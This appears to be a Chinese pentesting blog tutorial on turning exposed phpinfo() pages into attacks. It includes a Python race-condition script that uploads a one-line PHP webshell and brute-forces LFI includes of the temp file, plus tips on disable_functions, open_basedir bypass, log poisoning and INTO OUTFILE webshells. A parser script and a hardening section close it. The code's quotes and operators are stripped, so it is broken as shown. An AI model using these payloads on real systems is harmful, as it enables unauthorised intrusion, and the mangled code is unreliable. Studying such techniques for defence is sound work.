phpinfo()深度利用:从信息收集到实战渗透的完整攻击链

📅 2026/7/7 7:51:36
phpinfo()深度利用:从信息收集到实战渗透的完整攻击链
1. 项目概述从phpinfo()到实战突破在渗透测试的初期信息收集阶段我们经常会遇到一个看似普通却又信息量巨大的页面——phpinfo()。很多开发者和运维人员为了方便调试会临时在服务器上创建一个包含?php phpinfo(); ?的脚本文件访问后就能看到一张详尽无比的PHP环境配置表。对于攻击者而言这绝不仅仅是一张“配置清单”而是一张通往系统内部的“藏宝图”。它泄露的信息之全、之细往往超乎想象从系统路径、加载的扩展、敏感配置项到临时文件每一个条目都可能成为撕开防线的一个口子。很多人尤其是刚入门安全测试的朋友看到phpinfo()页面可能扫一眼版本号就觉得“哦PHP 7.2.24”然后就去翻别的漏洞了。这其实浪费了巨大的机会。我干了十多年渗透见过太多因为对phpinfo()挖掘不深而错失良机的案例也亲手利用它拿下了不少“硬骨头”。今天我就来系统性地拆解一下如何像一位经验丰富的考古学家一样从phpinfo()这片“信息废墟”中挖掘出真正有价值的“文物”并将其转化为实实在在的突破点。无论你是正在学习Web渗透的“零基础小白”还是想深化实战技巧的同行这篇内容都会让你对phpinfo()有一个全新的认识。2. phpinfo()信息全景图与核心字段解读拿到一个phpinfo()页面扑面而来的信息可能让人眼花缭乱。我们需要有重点、分模块地进行梳理。下面这张表是我在实战中总结的核心信息字段及其潜在价值你可以把它当作检查清单来用信息模块关键字段潜在利用价值与解读系统与环境System,Server API,$_SERVER[‘DOCUMENT_ROOT’]系统识别System字段直接暴露操作系统如Linux xxx 3.10.0、内核版本甚至主机名。Server API如Apache 2.0 Handler, FPM/FastCGI决定了后续攻击手法的选择如利用.htaccess或FPM未授权访问。DOCUMENT_ROOT是Web根目录的绝对路径是后续文件包含、目录遍历攻击的路径基础。PHP核心配置allow_url_fopen,allow_url_include,open_basedir,disable_functions攻击面评估allow_url_includeOn是开启“远程文件包含”RFI漏洞的绿灯价值极高。allow_url_fopenOn则可能辅助RFI或用于数据外带。open_basedir限制了PHP可访问的目录范围如果配置不当或为空意味着可以跨目录访问。disable_functions列出了被禁用的危险函数如果system,exec,shell_exec,passthru等不在其中那么一旦能执行代码几乎就等于拿到了Shell。文件处理与路径upload_tmp_dir,session.save_path,include_path临时文件与路径线索upload_tmp_dir是文件上传时临时存储的目录。如果该目录可预测、可访问结合文件上传或包含漏洞可能实现“临时文件包含”攻击。session.save_path是Session文件的存储位置如果权限宽松可能读取或篡改其他用户的Session文件。加载的扩展扩展列表如curl,gd,imagick,mysqli,pdo_mysql等扩展漏洞利用每个加载的扩展都是一个潜在的攻击面。例如历史上ImageMagick(imagick扩展)曾爆出严重的命令注入漏洞CVE-2016-3714。看到不常见或版本较老的扩展应立即去搜索相关CVE。扩展也揭示了后端服务如mysqli表明使用MySQL数据库。敏感信息泄露$_SERVER数组中的HTTP_HOST,SCRIPT_FILENAME,PATH等环境与路径SCRIPT_FILENAME是当前phpinfo()脚本的绝对路径这直接暴露了网站目录结构。PATH环境变量可能泄露其他工具或服务的安装路径。注意phpinfo()页面本身可能因为display_errors设置而隐藏。如果没直接看到可以尝试在URL参数、Cookie或POST数据中触发错误有时错误信息会包含部分phpinfo()中的配置数据。2.1 深度挖掘容易被忽略的“边角料”除了上述表格中的“大块”信息一些细节同样致命max_file_uploads和upload_max_filesize这限制了单次上传的文件数量和大小。在利用文件上传漏洞时如果文件大小超过限制会被拦截你需要提前知道这个阈值。session.upload_progress如果这个功能是开启的它可以在文件上传时创建一个包含上传进度的Session文件。在特定条件下这可以被用来制造一个“竞争条件”在临时文件被删除前包含它是高级文件包含攻击的一种技巧。extension_dirPHP扩展的加载目录。结合某些本地文件包含LFI漏洞如果你能控制这个路径或写入恶意扩展后果不堪设想。PHP变量 ($_ENV,$_SERVER)仔细查看这些数组里面可能包含数据库连接密码虽然不推荐这样配置、API密钥、内部网络IP等硬编码的敏感信息。我曾在一个$_ENV[‘DB_PASSWORD’]里直接找到了生产库的密码。3. 实战利用链从信息到漏洞的转化知道了信息在哪下一步就是怎么用。phpinfo()很少直接导致漏洞但它能极大地增强其他漏洞的威力或者帮你发现一些隐藏的漏洞。下面我结合几个最常见的场景讲讲实战中的利用链。3.1 场景一配合文件包含漏洞实现Getshell这是最经典、最高效的利用方式之一。假设我们已经通过其他手段如参数测试发现了一个本地文件包含LFI漏洞例如include.php?file../../etc/passwd可以读取系统文件。但光读取文件没用我们需要执行代码。这时phpinfo()页面就成为了一个完美的“助攻手”。它的核心价值在于它会将HTTP请求的Body文件上传部分作为临时文件保存到upload_tmp_dir指向的目录并且这个临时文件的名称在一定时间内是可预测或部分可知的。攻击原理与步骤拆解信息收集从目标phpinfo()页面中准确记录upload_tmp_dir的绝对路径例如/tmp或/var/tmp/phpXXXXXX和disable_functions列表确认执行命令的函数可用。构造攻击请求我们需要同时发起两个请求形成一个“竞争条件”。请求A文件上传触发向phpinfo()脚本的地址或者任何能触发PHP解析、且我们能访问的端点发送一个** multipart/form-data** 格式的POST请求。这个请求中包含一个文件上传字段文件内容就是我们的一句话WebShell如?php system($_GET[‘cmd’]);?。PHP在处理这个请求时会将文件内容先保存为一个临时文件名字类似/tmp/phpXXXXXX。请求B文件包含利用几乎在同时向存在LFI漏洞的地址发起大量请求尝试包含那个临时文件。因为临时文件名中的XXXXXX是随机字符串我们需要暴力猜解。但由于文件名生成有一定规律如与进程ID相关且在极短时间内存在通过高并发请求去“撞”这个文件名成功率其实不低。利用脚本自动化这个过程手动完成几乎不可能必须借助Python等语言编写自动化脚本。脚本的核心逻辑是一个线程循环发送包含WebShell的POST请求请求A另一个或多个线程循环向LFI漏洞点发送包含猜解临时文件名的GET请求请求B。import requests import threading import sys import time # 配置目标 phpinfo_url http://target.com/phpinfo.php lfi_url http://target.com/include.php?file upload_tmp_dir /tmp # 从phpinfo获取 # 构造恶意文件内容 webshell_content b?php system($_GET[cmd]);? def upload_phpinfo(): # 模拟文件上传触发临时文件创建 files {file: (shell.php, webshell_content, application/x-php)} try: resp requests.post(phpinfo_url, filesfiles, timeout2) # 不关心返回内容只为了触发临时文件创建 except: pass def brute_force_lfi(): # 简单模拟临时文件名模式实际需要更复杂的模式生成 base_name /tmp/php for i in range(10000): # 猜解范围 guess_path f{base_name}{i:06d} # 模拟类似php000123的格式 target_url lfi_url guess_path try: resp requests.get(target_url ?cmdid, timeout1) if uid in resp.text: # 如果命令执行成功 print(f[] Shell uploaded! Temp file: {guess_path}) print(f[] Access via: {lfi_url}{guess_path}?cmdwhoami) sys.exit(0) except: continue # 启动多线程 print([*] Starting LFI phpinfo temp file attack...) for _ in range(10): # 启动多个上传线程增加成功率 threading.Thread(targetupload_phpinfo).start() time.sleep(0.01) # 微小延迟模拟并发 for _ in range(50): # 启动更多暴力猜解线程 threading.Thread(targetbrute_force_lfi).start()实操心得这个攻击的成功率取决于多个因素临时文件目录的权限、临时文件存活时间、猜解算法的效率以及网络延迟。在实战中我通常会先尝试读取/proc/self/fd/目录如果允许里面可能有正在处理的文件描述符能更精准地定位临时文件。此外如果upload_tmp_dir不可访问或不可预测这个攻击链就会失效。3.2 场景二利用配置不当扩大攻击面phpinfo()暴露的配置错误本身就可能是一个中高危漏洞。案例open_basedir绕过。如果open_basedir设置的是/var/www/html:/tmp但通过phpinfo()发现Web根目录DOCUMENT_ROOT是/var/www/html而session.save_path是/var/lib/php/sessions。由于Session路径不在open_basedir限制内如果Session文件内容可控或可预测就可能通过文件包含漏洞去包含/var/lib/php/sessions/sess_[你的SessionID]这个文件如果能在其中注入PHP代码就能实现绕过open_basedir执行命令。案例disable_functions绕过。如果disable_functions列表很长但漏掉了一些冷门但可用的函数比如pcntl_exec,imap_open可能用于逃逸或者LD_PRELOAD劫持所需的putenv,mail需sendmail路径等函数未被禁用那么一旦有代码执行点就能利用这些漏网之鱼进行绕过。phpinfo()帮你完成了“侦察”工作。案例暴露绝对路径。SCRIPT_FILENAME和DOCUMENT_ROOT直接给出了绝对路径。这在利用某些需要绝对路径的漏洞时非常关键比如某些本地文件包含漏洞需要知道绝对路径才能包含成功或者在一些“日志文件污染”攻击中你需要知道Web访问日志如/var/log/apache2/access.log的确切位置才能将PHP代码写入日志并包含执行。3.3 场景三作为其他漏洞的“信息增强器”phpinfo()可以辅助验证和利用其他漏洞。SQL注入如果你通过SQL注入进行数据外带Out-of-Band但不知道网站的绝对路径无法通过SELECT ... INTO OUTFILE写WebShell。通过phpinfo()获取DOCUMENT_ROOT后你就可以精确地写入一个可访问的Web目录。文件上传漏洞上传了图片马但需要包含才能执行。如果文件上传功能使用了随机重命名你需要知道上传后的路径。有时通过phpinfo()中的$_SERVER[‘SCRIPT_FILENAME’]或包含上传功能的脚本路径可以推断出上传目录的相对或绝对位置。框架/组件识别phpinfo()中加载的扩展和定义的常量常常会暴露底层使用的框架或特殊组件。比如看到ionCube Loader扩展说明代码可能被加密看到memcached或redis扩展说明使用了缓存服务这可能成为新的攻击入口。4. 自动化信息提取与工具化思路手动查看phpinfo()页面效率低下在CTF比赛或大规模渗透中我们需要将其工具化。思路是写一个脚本自动解析phpinfo()页面的HTML提取关键信息并结构化输出。这里提供一个简单的Python示例使用BeautifulSoup库import requests from bs4 import BeautifulSoup import re def parse_phpinfo(url): try: resp requests.get(url, timeout10) resp.encoding utf-8 soup BeautifulSoup(resp.text, html.parser) # phpinfo()通常将信息放在表格里 info_dict {} current_section General for table in soup.find_all(table): # 寻找h1标签作为章节名 prev_tag table.find_previous_sibling() if prev_tag and prev_tag.name h1: current_section prev_tag.text.strip() for row in table.find_all(tr): cells row.find_all([td, th]) if len(cells) 2: key cells[0].text.strip().strip(:) value cells[1].text.strip() if len(cells) 1 else if key and value: # 按章节存储 if current_section not in info_dict: info_dict[current_section] {} info_dict[current_section][key] value # 提取最关键的信息 critical_info { PHP Version: info_dict.get(PHP Version, {}).get(PHP Version, N/A), System: info_dict.get(PHP Version, {}).get(System, N/A), Server API: info_dict.get(PHP Version, {}).get(Server API, N/A), DOCUMENT_ROOT: info_dict.get(PHP Variables, {}).get($_SERVER[DOCUMENT_ROOT], N/A), allow_url_include: info_dict.get(Core, {}).get(allow_url_include, Off), disable_functions: info_dict.get(Core, {}).get(disable_functions, no value), open_basedir: info_dict.get(Core, {}).get(open_basedir, no value), upload_tmp_dir: info_dict.get(Core, {}).get(upload_tmp_dir, no value), session.save_path: info_dict.get(Session, {}).get(session.save_path, no value), } return critical_info, info_dict except Exception as e: print(f[-] Error parsing phpinfo: {e}) return None, None if __name__ __main__: target http://target.com/phpinfo.php critical, full parse_phpinfo(target) if critical: print([] Critical PHP Configuration:) for k, v in critical.items(): print(f {k}: {v}) # 检查危险配置 if critical[allow_url_include] On: print([!] HIGH RISK: allow_url_include is ON (RFI possible)!) if system not in critical[disable_functions]: print([!] WARNING: system() function is NOT disabled.)这个脚本能快速提取核心配置并给出风险提示。你可以将其集成到自己的扫描器或信息收集流程中。5. 防御视角如何避免phpinfo()成为突破口既然我们知道了攻击者如何利用phpinfo()那么从防御和开发的角度应该怎么做严禁在生产环境遗留phpinfo()这是铁律。调试完毕后必须立即删除包含phpinfo()的脚本文件。可以考虑在部署流程中加入自动化检查扫描Web目录下是否包含phpinfo关键字。最小化信息泄露如果因某些原因必须保留极度不推荐可以通过修改php.ini将expose_php On改为expose_php Off。这不会禁用phpinfo()函数但会隐藏HTTP响应头中的X-Powered-By: PHP/x.x.x信息并让phpinfo()页面显示的部分信息变少。强化PHP安全配置allow_url_include和allow_url_fopen务必设置为Off。disable_functions应禁用所有不必要的命令执行、代码执行函数如system, exec, shell_exec, passthru, proc_open, pcntl_exec, eval, assert等。open_basedir应设置为最小必要路径并确保权限隔离。session.save_path应设置为一个只有Web用户有读写权限的专用目录不要放在/tmp等全局可读的位置。将upload_tmp_dir设置为一个独立的、随机化的目录并确保该目录不在Web可访问范围内且定期清理。定期安全扫描与代码审计将phpinfo()作为敏感关键词纳入日常的Web目录扫描和代码审计中确保其不会意外上线。6. 高级技巧与边缘案例在实战中还会遇到一些特殊场景phpinfo()被包含在非.php文件中有时开发人员会把phpinfo()代码放在.txt,.log甚至.inc文件中只要这些文件被配置成由PHP解析访问时同样会生效。在信息收集时可以尝试用字典爆破这些可能包含调试信息的文件。利用phpinfo()进行盲注如果phpinfo()的输出不可见比如被重定向或仅管理员可见但你可以触发它例如通过某个参数调用你可以尝试利用它作为“时间盲注”的通道。例如通过控制某些环境变量如$_GET[‘xxx’]的值并观察请求响应时间的变化来间接推断一些信息。但这属于非常规技巧对条件要求苛刻。从错误信息中提取phpinfo()片段当display_errorsOn且error_reporting级别较高时PHP的警告或通知错误可能会打印出包含配置信息的堆栈跟踪其中就可能夹带phpinfo()中的部分内容如路径信息。说到底phpinfo()在渗透测试中扮演的是一个“力量倍增器”的角色。它本身不产生漏洞但它能让已有的漏洞变得更致命让隐藏的攻击面暴露出来。真正拉开差距的不是谁找到了phpinfo()页面而是谁能从这海量信息中敏锐地捕捉到那一两个关键点并将其与其他的漏洞碎片串联起来形成一条完整的攻击链。这个过程需要经验更需要耐心和细致的观察。下次再遇到phpinfo()别再匆匆关掉了把它当作一个练习深度信息挖掘和逻辑串联的绝佳机会。